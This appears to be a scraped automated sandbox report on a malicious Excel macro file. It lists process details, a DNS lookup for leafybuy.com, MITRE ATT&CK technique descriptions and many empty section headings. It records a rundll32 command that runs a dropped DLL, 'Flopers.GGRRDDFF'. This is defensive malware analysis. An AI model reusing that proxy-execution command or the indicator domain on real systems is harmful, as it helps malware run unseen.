Jan 22, 2021 11:18:59.958020926 CET	8.8.8.8	192.168.2.3	0x442f	Server failure (2)	leafybuy.com	none	none	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

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Behavior

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System Behavior

Analysis Process: EXCEL.EXE PID: 6140 Parent PID: 792

General

Start time:	11:18:54
Start date:	22/01/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Imagebase:	0xf40000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4856 Parent PID: 6140

General

Start time:	11:18:59
Start date:	22/01/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
Imagebase:	0x8c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

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Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report Refusal-1605078281-01212021.xlsm

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Refusal-1605078281-01212021.xlsm"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 6140 Parent PID: 792

General

Chronological Activities

Analysis Process: rundll32.exe PID: 4856 Parent PID: 6140

General

Chronological Activities

Disassembly